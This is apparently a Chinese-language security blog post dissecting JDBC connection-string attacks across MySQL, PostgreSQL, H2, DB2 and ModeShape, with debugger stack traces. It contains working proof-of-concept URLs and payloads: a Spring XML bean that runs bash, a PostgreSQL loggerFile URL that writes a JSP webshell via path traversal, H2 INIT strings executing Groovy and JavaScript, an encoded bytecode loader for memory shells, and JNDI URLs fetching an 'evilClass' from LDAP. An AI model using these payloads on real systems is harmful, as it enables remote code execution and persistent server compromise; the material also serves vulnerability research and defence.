很早就看到了Make JDBC Attacks Brilliant Again
議題,一直想分析學習下,但是太懶。
"擴充套件引數" 就是本次導致安全漏洞的一個重要的部分。
Mysql JDBC 中包含一個危險的擴充套件引數: 」autoDeserialize「。這個引數設定為 true 時,JDBC 使用者端將會自動反序列化伺服器端返回的資料,這就產生了 RCE。
此時如果攻擊者作為 MYSQL 伺服器的角色,給使用者端返回了惡意的序列化資料,使用者端就會自動反序列化觸發惡意程式碼,造成漏洞。
簡單說一下流程,主要是用到兩類引數
通過ServerStatusDiffInterceptor
或detectCustomCollations
觸發查詢語句SHOW SESSION STATUS
、SHOW COLLATION
等,並呼叫resultSetToMap
處理資料庫返回的結果,而當autoDeserialize
為true時會對server中返回的結果進行反序列化,從而造成程式碼執行
Driver:
測試程式碼
public static void main(String[] args) {
try{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}catch (Exception e){
}
}
跟進到mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrl#getConnectionUrlInstance
方法
首先在mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#parseConnectionString
方法內解析jdbc串
返回的是ConnectionUrlParser
物件,具體如下
繼續往下看
在mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#processKeyValuePattern
迴圈解析Properties並新增到kvMap中,之後賦值給ConnectionUrlParser.parsedProperties
欄位
在ConnectionImpl#setAutoCommit
會賦值sql語句SET autocommit=1
在ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
會去資料庫執行查詢SHOW SESSION STATUS
,跟進ResultSetUtil.resultSetToMap(toPopulate, rs);
其中呼叫getObject,邏輯如下,先判斷傳說的資料流,這裡走的是BLOB
不過BIT
好像也會反序列化,序列化資料儲存在this.thisRow
中
第二個元素
最後就是java原生的反序列化了
堆疊
readObject:431, ObjectInputStream (java.io)
getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:21, Attack8x (org.su18.jdbc.attack.mysql.serverstatus)
簡單看一下,呼叫點在mysql-connector-java-5.1.19.jar!/com/mysql/jdbc/ConnectionImpl#buildCollationMapping
後面依舊是resultSetToMap
中呼叫了getObject
觸發反序列化
堆疊
readObject:431, ObjectInputStream (java.io)
getObject:4984, ResultSetImpl (com.mysql.jdbc)
resultSetToMap:506, Util (com.mysql.jdbc)
buildCollationMapping:963, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3445, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2437, ConnectionImpl (com.mysql.jdbc)
createNewIO:2207, ConnectionImpl (com.mysql.jdbc)
<init>:797, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:389, ConnectionImpl (com.mysql.jdbc)
connect:305, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:22, Attack511x (org.su18.jdbc.attack.mysql.customcollations)
簡單小結一下,各個小版本間可利用的payload可以參考下面fnmsd師傅的圖
autoDeserialize=true 使JDBC 使用者端將會自動反序列化伺服器端返回的資料,這個過程通過getObjec方法觸發
但預設情況下不會自動觸發getObject,所以需要一個觸發點
目前公開的有2種
- 攔截器queryInterceptors
"queryInterceptors" 引數可以指定介面 com.mysql.cj.interceptors.QueryInterceptor 的子類,通過名字可以看到,這是一個起到」攔截器「作用的類。在這些攔截器的實現類中,可以修改或增強語句的某些子級所做的處理,例如自動檢查 memcached 伺服器中的查詢資料、重寫慢速查詢、記錄有關語句執行的資訊,或將請求路由到遠端伺服器。總體來說,這是一個為查詢提供自動化增強功能的引數。ServerStatusDiffInterceptor 用於顯示在查詢之間伺服器狀態的差異,preProcess()/postProcess() 呼叫 populateMapWithSessionStatusValues()方法。
populateMapWithSessionStatusValues() 使用已經建立的 connection 建立並執行了一個新的語句 SHOW SESSION STATUS,並呼叫 ResultSetUtil.resultSetToMap() 處理返回結果。
resultSetToMap 中呼叫了之前我們提到的 getObject() 方法,連成了一條呼叫鏈。
queryInterceptors ==> ServerStatusDiffInterceptor
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
- detectCustomCollations
detectCustomCollations ==> detectCustomCollations=true
同理PostgreSQL的property也存在安全問題CVE-2022-21724
在 PostgreSQL 資料庫的 jdbc 驅動程式中發現一個安全漏洞。當攻擊者控制 jdbc url 或者屬性時,使用 PostgreSQL 資料庫的系統將受到攻擊。 pgjdbc 根據通過 authenticationPluginClassName
、sslhostnameverifier
、socketFactory
、sslfactory
、sslpasswordcallback
連線屬性提供類名範例化外掛範例。但是,驅動程式在範例化類之前沒有驗證類是否實現了預期的介面。這可能導致通過任意類載入遠端程式碼執行。
影響範圍:
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
這裡主要記錄兩個點
網上分析文章一大堆,之前也偵錯過,這次就簡單記錄一些點。
有公開的一個poc,詳情見
https://github.com/advisories/GHSA-v7wg-cpwc-24m4
jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式建立類-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>open -a Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
測試程式碼
public class AttackPgsqlsocketFactory {
public static void main(String[] args) throws Exception {
String URL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8001/calc.xml";
DriverManager.registerDriver(new Driver());
Connection connection = DriverManager.getConnection(URL);
connection.close();
}
}
偵錯分析
首先在Driver#parseURL
方法內是對jdbc字串的處理,以indexof?
作為分割符,拿到properties引數,後續將結果儲存為Properties
物件返回
後續關注對socketFactory
這個Property的處理即可,跟進到SocketFactoryFactory#getSocketFactory
方法。
先從前面解析jdbc串時 return的Properties
物件中,獲取socketFactory
的類名,也就是org.springframework.context.support.ClassPathXmlApplicationContext
之後呼叫instantiate
對其範例化處理,也是漏洞觸發點,其中包含了PGProperty.SOCKET_FACTORY_ARG.get(info)
的步驟
這裡是一個任意類範例化的點,可以呼叫只有1個入參,引數型別為String的有參構造進行範例化
堆疊
instantiate:45, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:18, AttackPgsqlsocketFactory (me.zh1z3ven.jdbc.attack)
關於Pgsql的Properties其實可以看PGProperty.class
裡面都有對應的解釋說明
在審計時可以將對應環境的classpath中的class拿出來通過靜態分析工具去跑符合條件的類,說不準可以跑出不用出網的gadget
poc
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp
driver=org.postgresql.Driver&url=jdbc:postgresql://172.16.105.1/test/?loggerLevel=DEBUG&loggerFile=../webapps/ROOT/static/555.jsp&<%! \uxxx\uxxx%><%\uxxx%> =&user=test&pwd=123123
這個點不算複雜的,是log功能寫檔案,只是提一下寫shell需要注意的一個地方,檔案內容在下圖地方會有一個處理
這裡構造封包時可以通過unicode編碼shell內容=
來進行shell寫入,通過本身程式碼邏輯,讓=
截斷掉前面的shell內容繞過URLDecoder的處理。其他的方式應該也可以,只要讓=
第一次出現的位置位於shell內容後面或者shell內容中不存在會讓URLDecoder.decode
拋異常的字元即可。
例如
<%! \uxxx\uxxx%><%\uxxx%>
h2設定
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
而h2本身的console介面也是可以通過jdbc連線串來進行jndi利用的
除此之外ppt中給出了3條gadget
分別有不同的限制,RUNSCRIPT需要出網載入sql,groovy需要本地存在groovy依賴,那麼看下來js是限制條件比較少的一個
簡單跟了下h2的處理邏輯
拋開初始化部分,在h2-1.4.199.jar!/org/h2/engine/Engine#openSession
開始進入jdbc連線串的處理,預處理時主要是初始化jdbc相關的資訊,最終儲存在ConnectionInfo
物件內,而走入executeUpdate
方法邏輯內後開始真正執行一些sql語句,惡意的sql為漏洞的觸發點,而Litch1師傅給出的三條gadget也是分別從sql入手的 RUNSCRIPT/CREATE ALIAS/CREATE TRIGGER
三條gadget入口點都是INIT
這個properties,重點關注h2對其的處理即可。
poc
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
看到h2-1.4.199.jar!/org/h2/command/dml/RunScriptCommand#update
方法,跟進this.openInput()
該方法去讀去遠端檔案,將檔案內容賦值給this.in
拿到sql語句後進入FunctionAlias.newInstanceFromSource
開始處理
略過一些初始化,中間去判斷了是否為groovy指令碼等判斷,之後進入h2-1.4.199.jar!/org/h2/engine/FunctionAlias#JavaMethod
來構造一個JavaMethod
物件,物件結構如下
之後跟進RunScriptCommand#this.execute()
最終在FunctionAlias$JavaMethod#getValue
執行程式碼,可以看出底層也是反射去呼叫執行的
堆疊如下
exec:347, Runtime (java.lang)
shellexec:6, EXEC (org.h2.dynamic)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getValue:460, FunctionAlias$JavaMethod (org.h2.engine)
getValue:40, JavaFunction (org.h2.expression.function)
query:64, Call (org.h2.command.dml)
execute:77, RunScriptCommand (org.h2.command.dml)
update:58, RunScriptCommand (org.h2.command.dml)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:23, AttackH2ByRunScript (org.su18.jdbc.attack.h2)
Poc
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("open -a Calculator")})def x'
通過ASTTest呼叫assert執行groovy程式碼
跟進到h2-1.4.199.jar!/org/h2/util/SourceCompiler#getClass
方法,方法內邏輯很多,先只看groovy部分
其中通過sql語句是否startsWith
為//groovy
或@groovy
來判斷是否為groovy表示式
private static boolean isGroovySource(String var0) {
return var0.startsWith("//groovy") || var0.startsWith("@groovy");
}
而這裡的Compiler
為GroovyCompiler
,後續呼叫parseClass
來執行groovy表示式
堆疊
exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:1, Script1
evaluate:427, GroovyShell (groovy.lang)
evaluate:461, GroovyShell (groovy.lang)
evaluate:436, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:114, ASTTestTransformation$1 (org.codehaus.groovy.transform)
lambda$compile$15:640, CompilationUnit (org.codehaus.groovy.control)
accept:-1, 1026055550 (org.codehaus.groovy.control.CompilationUnit$$Lambda$25)
ifPresent:159, Optional (java.util)
compile:640, CompilationUnit (org.codehaus.groovy.control)
doParseClass:389, GroovyClassLoader (groovy.lang)
lambda$parseClass$3:332, GroovyClassLoader (groovy.lang)
provide:-1, 482082765 (groovy.lang.GroovyClassLoader$$Lambda$4)
compute:163, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
getAndPut:154, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
parseClass:330, GroovyClassLoader (groovy.lang)
parseClass:314, GroovyClassLoader (groovy.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callMethod:536, Utils (org.h2.util)
callMethod:513, Utils (org.h2.util)
parseClass:509, SourceCompiler$GroovyCompiler (org.h2.util)
getClass:139, SourceCompiler (org.h2.util)
getMethod:234, SourceCompiler (org.h2.util)
loadFromSource:130, FunctionAlias (org.h2.engine)
load:118, FunctionAlias (org.h2.engine)
init:105, FunctionAlias (org.h2.engine)
newInstanceFromSource:97, FunctionAlias (org.h2.engine)
update:53, CreateFunctionAlias (org.h2.command.ddl)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:25, AttackH2ByGroovy (org.su18.jdbc.attack.h2)
poc
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
略過一些初始化的步驟,h2主要通過ConnectionInfo
儲存jdbc連線串等資料
跟進到h2-1.4.199.jar!/org/h2/engine/Engine#openSession
,前面會將引數跟進init
進行處理
會處理成如下格式
跟進var22.executeUpdate(false)
h2-1.4.199.jar!/org/h2/command/Parser#parse
中會將jdbc串進行解析,
CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")'
變為
//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
sink點在:
TriggerObject#loadFromSource
方法,首先SourceCompiler.isJavaxScriptSource(this.triggerSource)
以//javascript
或#ruby
來判斷是js還是ruby語法
是js則之後呼叫eval執行js程式碼
嘗試構造執行任意位元組碼的payload
H2對於init的格式化處理在ConnectionInfo#readSettingsFromURL
中,部分邏輯如下
跟進 arraySplit
其中可以看到,對於一些特殊字元可以通過\
來進行跳脫,因為h2在parse jdbc字串的時候是通過;
分號進行分割properties的,而js中會經常用到;
所以這裡可以通過\;
來保證不錯誤解析我們的jdbc串。
而js語句需要拼接到sql中,sql是通過'
單引號包裹的,這裡我們還需要把js中的'
改成"
。
測試base64的會拋異常,用woodpecker JExpr表示式生成外掛的JS-BigInteger
可以正常食用,彈計算器payload如下:
String javascript = "//javascript\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader()\\;try{classLoader.loadClass(\"calc\").newInstance()\\;}catch (e){var clsString = classLoader.loadClass(\"java.lang.String\")\\;var bytecodeRaw = \"-5d0gv4aq1you8hawg2mpj9nktafb7tljy9bnbegiqsk808saabml7o3t292jac7i00g0728emolez6qs5k67no20hcir24qej6cwew6q09vwz5h9ydgv5lvhjuvabg6wg002x1wqucoc39whhg24i78rx95tfa7l4nxfk82v4vrhf8u47iss5as2z8nobqrr3os83kw253hd6yp7d6r69nukbn6eak5t561zempt8ic4i629qxwgg1yz98bvudk51jtwlji4rkpdsrqw63s3uq6skp4p6ghpd2gbw5ffb0n360re4s9e93l8jdu9hvr3slymqtt6w3dte1hrtz4jqmbwacxqvs2as2fojc6z6f9ramext15bqmqzccc8hweetz2e4ieeh13cjnl5lgec233xa40opzux1ullqtao1yedmj8y36taohdze4fgz8in9d1wm5avr4813tyg619hsga52or3n1n0i7ty6ly03777911d8g6dm2uzdb027awrhk9ph1mr5zri0j1jy6tzc6zy9y0h1o6qcoirl27fygukbdlqmu919tau2nd8kpt8gjaa70j4pduw3f74kplqujyh00bg2djvmaqv8by6htrm8vp4wsi3ktnlhddi4mxqfj34uwo0uozu9asg3sh9gevokmehh81gyxogy84eo0sd6p4rkhmx1wyqktm18u0iswb16bh272kl7f4w7zyhwnm48pwxgvb6m9h2kso2rnjukhc7mbe2fa9j2u3gj0dir7xferg1mxq26hcm2ihpkrhksfm535p9nimslh6q0ijn0ogwdzk91vf8b08n7ai4y13subxd4zrtvgq5e3q8mmlcyfulm6\"\\;var bytecode = new java.math.BigInteger(bytecodeRaw,36).toByteArray()\\;var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\")\\;var clsByteArray = \"a\".getBytes().getClass()\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt)\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length)\\;clazz.newInstance()\\;}";
burp發包時注意\n
是回車,而不要直接在引數處輸入字元\n
需要用%0a
,其他字元也url編碼即可,且同一個類貌似只能載入一次。
注入記憶體馬的包可能不會回顯header,正常會報cannot be cast to org.h2.api.Trigger
異常,這些屬於正常情況不用管。
poc
jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;
該property可以導致jndi
在此不搬運了,ppt中給出了詳細的流程和sink點
通過jcr api可以觸發jndi,同DB2,也是個jndi的利用
jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass
derby因為沒怎麼遇到過,SQLite利用成本高,(主要是我懶)在此不做分析
《Make JDBC Attacks Brilliant Again》議題
廈門茉莉花的花語是:天天開心